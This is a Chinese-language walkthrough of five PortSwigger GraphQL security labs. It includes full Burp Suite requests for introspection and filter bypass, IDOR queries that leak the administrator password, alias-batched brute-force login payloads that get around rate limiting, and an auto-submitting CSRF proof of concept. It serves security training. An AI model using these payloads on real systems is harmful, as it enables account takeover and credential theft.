- Lab1:Accessing private GraphQL posts
- Lab2:Accidental exposure of private GraphQL fields
- Lab3:Finding a hidden GraphQL endpoint
- Lab4:Bypassing GraphQL brute force protections
- Lab5:Performing CSRF exploits over GraphQL
- Reference
Lab1:Accessing private GraphQL posts
在burpsuite 2024版本,在request框里支持graphql请求包的解析,在遇到graphql请求包时,会在传统的
Pretty
、Raw
、Hex
选项卡旁边会多出一个GraphQL
的选项卡。
通过Graphql的introspection查询(burpsuite 2024版,在遇到graphql请求时,在Request
框内鼠标右键,弹出的菜单栏第一个选项是GraphQL
,选中它后,然后选择Set introspection query
,即可将graphql请求体设置成introspection查询),获取该Graphql服务的schema信息,发现该查询的blogPost对象(即"博客文章"对象),存在isPrivate
和postPassword
这两个字段:
然后在查询所有文章信息的时候,抓包,在查询的字段(Field)中,添加isPrivate
和postPassword
,再重放:
如上图,并没有发现题目要求的那个隐藏的文章信息,但是发现这里的文章id,1、2、4、5,没有3
,猜测id
为3的文章就是我们要找的,于是在根据文章id查询文章信息的查询操作中,我们将查询的变量id
指定为3:
如上图,可以看到查到了这个隐藏的文章,其isPrivate
为true
,还返回了我们要找的postPassword
。
Lab2:Accidental exposure of private GraphQL fields
抓取/graphql/v1
端点后,通过burpsuite右键功能GraphQL->Set introspection query
进行introspection查询,获取该graphql端点的schema信息。
请求包如下:
POST /graphql/v1 HTTP/2
Host: 0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Cookie: session=NCsppSWY8CR3AqEJLcMM7dc1gf5uENhs
Content-Length: 1404
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i{"query":"query IntrospectionQuery {\n __schema {\n queryType {\n name\n }\n mutationType {\n name\n }\n subscriptionType {\n name\n }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n}\n\nfragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n}\n\nfragment InputValue on __InputValue {\n name\n description\n type {\n ...TypeRef\n }\n defaultValue\n}\n\nfragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n}"}
从返回的schema信息中,可以看到query
操作中,有getUser
这样的操作,它会返回一个User
对象,User
对象由username
和password
两个属性组成。
所以我们只要构造一个getUser
操作的query
请求即可查询我们需要的用户信息。
这里burpsuite给我们提供了一个非常方便的功能,同样位于鼠标右键功能GraphQL->Save GraphQL queries to site map
,点击后,就会在Burpsuite的Target->Site map
页签下面,看到该站点的graphql所有可用的请求,这里我们可以看到已经帮我们生成了getUser
的请求包:
POST /graphql/v1 HTTP/1.1
Host: 0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Cookie: session=NCsppSWY8CR3AqEJLcMM7dc1gf5uENhs
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
Origin: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Content-Length: 117{"query":"query($id: Int!) {\n getUser(id: $id) {\n id\n username\n password\n }\n}","variables":{"id":0}}
参数处id改为1
,就能查询到administrator用户的信息,响应包如下:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133{"data": {"getUser": {"id": 1,"username": "administrator","password": "7rqrd7xoiuu1m9c2th83"}}
}
使用该密码登录administrator账号后,然后删除carlos账号,即可完成实验。
Lab3:Finding a hidden GraphQL endpoint
题目:
The user management functions for this lab are powered by a hidden GraphQL endpoint. You won't be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection.To solve the lab, find the hidden endpoint and delete carlos.
如题目所言,页面正常功能请求都没看到graphql的endpoint,于是尝试以下常见的graphql端点url(用burpsuite scanner扫描探测也可以发现graphql endpoint,新建一个live task,扫描规则仅勾选GraphQL相关的即可)
/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
发现graphql端点url是/api
,因为其它的几个都返回404,只有这个返回了:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 19"Query not present"
于是加上Content-Type: application/json
,进行introspection查询,请求包如下:
GET /api HTTP/2
Host: 0a7700ae0461717c806b532d001800f1.web-security-academy.net
Cookie: session=kyHZVVUlX17459wrUbFQfjl1dGgzLx7e
Cache-Control: max-age=0
Origin: https://0a7700ae0461717c806b532d001800f1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Content-Length: 1404{"query":"query IntrospectionQuery {\n __schema {\n queryType {\n name\n }\n mutationType {\n name\n }\n subscriptionType {\n name\n }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n}\n\nfragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n}\n\nfragment InputValue on __InputValue {\n name\n description\n type {\n ...TypeRef\n }\n defaultValue\n}\n\nfragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n}"}
响应包如下:
{"errors": [{"locations": [],"message": "GraphQL introspection is not allowed, but the query contained __schema or __type"}]
}
说明introspection查询被服务端拦截了,有可能是关键字黑名单的形式,此时尝试在__schema {
中间加一个换行符\n
,即__schema\n {
,便可绕过服务端的关键字拦截,返回了schema信息。
于是,同样使用burpsuite的右键功能GraphQL->Save GraphQL queries to site map
生成所有操作的请求包,但是由于这里的graphql端点/api
是GET
请求的,所以burpsuite没有将其识别成GraphQL,所以鼠标右键并没有出现GraphQL
这个功能。有个办法可以解决,就是把请求行的GET
改成POST
,burpsuite就能识别成GraphQL
了,然后就可以使用右键功能GraphQL->Save GraphQL queries to site map
生成所有操作的请求包了,后面请求的时候再使用GET
进行请求即可。
于是,先使用getUser
查询遍历到carlos用户的id为3
:
GET /api HTTP/2
Host: 0a7700ae0461717c806b532d001800f1.web-security-academy.net
Cookie: session=kyHZVVUlX17459wrUbFQfjl1dGgzLx7e
Cache-Control: max-age=0
Origin: https://0a7700ae0461717c806b532d001800f1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json; charset=utf-8
Content-Length: 103{"query":"query($id: Int!) {\n getUser(id: $id) {\n id\n username\n }\n}","variables":{"id":3}}
响应包如下:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 84{"data": {"getUser": {"id": 3,"username": "carlos"}}
}
然后再使用deleteOrganizationUser
操作删除carlos便可完成实验:
GET /api HTTP/2
Host: 0a7700ae0461717c806b532d001800f1.web-security-academy.net
Cookie: session=kyHZVVUlX17459wrUbFQfjl1dGgzLx7e
Cache-Control: max-age=0
Origin: https://0a7700ae0461717c806b532d001800f1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json; charset=utf-8
Content-Length: 186{"query":"mutation($input: DeleteOrganizationUserInput) {\n deleteOrganizationUser(input: $input) {\n user {\n id\n username\n }\n }\n}","variables":{"input":{"id":3}}}
Lab4:Bypassing GraphQL brute force protections
题目:
The user login mechanism for this lab is powered by a GraphQL API. The API endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time.To solve the lab, brute force the login mechanism to sign in as carlos. Use the list of authentication lab passwords as your password source.
根据题目所言,用户登录依托于graphql的能力,即登录接口是使用的graphql端点。但graphql服务端会对请求频率有限制,目的就是为了防止登录暴破。
但可以利用graphql的Aliases别名特性绕过。
Graphql的Aliases特性可使用一个请求,实现多次相同类型的query
/mutation
操作。
该实验提供了一个密码字典,见:https://portswigger.net/web-security/authentication/auth-lab-passwords
首先抓取登录请求包:
POST /graphql/v1 HTTP/2
Host: 0af700de04aed2ea8140ca7e0091008f.web-security-academy.net
Cookie: session=83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0
Content-Length: 234
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://0af700de04aed2ea8140ca7e0091008f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0af700de04aed2ea8140ca7e0091008f.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"test1","password":"12345678"}}}
然后切换到burpsuite的GraphQL
页签,将Query
编辑框的内容改为:
mutation login {bruteforce1:login(input: {username:"test1",password:"12345678"}) {tokensuccess}}
然后将Variables
编辑框置空。
然后切换到Pretty
页签,请求体如下:
{"query":"\r\n mutation login {\r\n bruteforce1:login(input: {username:\"test1\",password:\"12345678\"}) {\r\n token\r\n success\r\n }\r\n }","operationName":"login"}
重放请求,会正常返回如下内容,说明请求格式修改得没问题:
{"data": {"bruteforce1": {"token": "83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0","success": false}}
}
好了,现在要做的就是按照以下模板,遍历密码字典,生成Aliases需要的字符串即可:
bruteforce$index:login(input: {username:"carlos",password:"$password"}) {tokensuccess}
这里我懒得写脚本了,直接交给大模型来做吧,Prompt如下:
我这里有如下字符串模板:bruteforce$index:login(input: {username:"carlos",password:"$password"}) {tokensuccess}其中,$index和$password是变量,是要数据填充的地方。
现在我有一个密码字典,如下,123456
password
12345678
qwerty
...(省略)...
monitor
monitoring
montana
moon
moscow请你根据上面的字符串模板,遍历密码字典的每一行,将每一行填充到$password,行数就填充到索引变量$index中,生成字符串。
GPT很快就能给你要的:
bruteforce1:login(input: {username:"carlos",password:"123456"}) {tokensuccess}
bruteforce2:login(input: {username:"carlos",password:"password"}) {tokensuccess}
...(省略)...
bruteforce99:login(input: {username:"carlos",password:"moon"}) {tokensuccess}
bruteforce100:login(input: {username:"carlos",password:"moscow"}) {tokensuccess}
将其粘贴到GraphQL请求中即可(Request中切换到GraphQL), 响应包如下:
{"data": {"bruteforce1": {"token": "83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0","success": false},"bruteforce2": {"token": "83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0","success": false},...(省略)...},"bruteforce83": {"token": "8aSADCQr6weSelIHI8Enxzmxa0Tw1L0S","success": true},"bruteforce84": {"token": "8aSADCQr6weSelIHI8Enxzmxa0Tw1L0S","success": false},...(省略)..."bruteforce100": {"token": "8aSADCQr6weSelIHI8Enxzmxa0Tw1L0S","success": false}}
}
可以看到字典的第83个密码就是carlos账号的密码,登录便可完成实验。
Lab5:Performing CSRF exploits over GraphQL
题目:
The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a content-type of x-www-form-urlencoded and is therefore vulnerable to cross-site request forgery (CSRF) attacks.
To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address, then upload it to your exploit server.
You can log in to your own account using the following credentials: wiener:peter.
该实验的漏洞点在于服务端未校验Content-Type
的类型,接受Content-Type: application/x-www-form-urlencoded
类型的请求,导致可被CSRF攻击。
更新当前用户的邮箱地址的原始请求包如下:
POST /graphql/v1 HTTP/2
Host: 0a26001404b41b0e80765d61009f003f.web-security-academy.net
Cookie: session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz; session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz
Content-Length: 230
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://0a26001404b41b0e80765d61009f003f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a26001404b41b0e80765d61009f003f.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i{"query":"\n mutation changeEmail($input: ChangeEmailInput!) {\n changeEmail(input: $input) {\n email\n }\n }\n","operationName":"changeEmail","variables":{"input":{"email":"evil1@normal-user.net"}}}
修改成form表单的方式,如下:
其实很简单,就是把json的{key:val}形式转换成key=val的形式,结合burpsuite右键功能:Convert Selection->URL->URL-encode key characters 进行url编码。
POST /graphql/v1 HTTP/2
Host: 0a26001404b41b0e80765d61009f003f.web-security-academy.net
Cookie: session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz; session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz
Content-Length: 234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9query=%0a++++mutation+changeEmail($input%3a+ChangeEmailInput!){+%0a++++++++changeEmail(input%3a+$input)+{%0a++++++++++++email%0a++++++++}%0a++++}%0a&operationName=changeEmail&variables={"input"%3a{"email"%3a"evil555%40normal-user.net"}}
重放请求发现可行,说明改的没问题。于是使用burpsuite生成CSRF PoC,如下:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a26001404b41b0e80765d61009f003f.web-security-academy.net/graphql/v1" method="POST"><input type="hidden" name="query" value="     mutation changeEmail($input: ChangeEmailInput!){          changeEmail(input: $input) {             email         }     } " /><input type="hidden" name="operationName" value="changeEmail" /><input type="hidden" name="variables" value="{"input":{"email":"evil555@normal-user.net"}}" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
将其粘贴到该实验的Exploit Server中,进行托管,然后点击页面下方的Deliver exploit to victim
按钮,过一会,victim就会浏览该页面,触发CSRF攻击。
Reference
https://portswigger.net/web-security/graphql
REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure - LevelUp 0x05
GraphQL APIs from bug hunter's perspective by Nikita Stupin
clairvoyance:Obtain GraphQL API schema even if the introspection is disabled
https://github.com/apollographql/apollo-server/issues/3919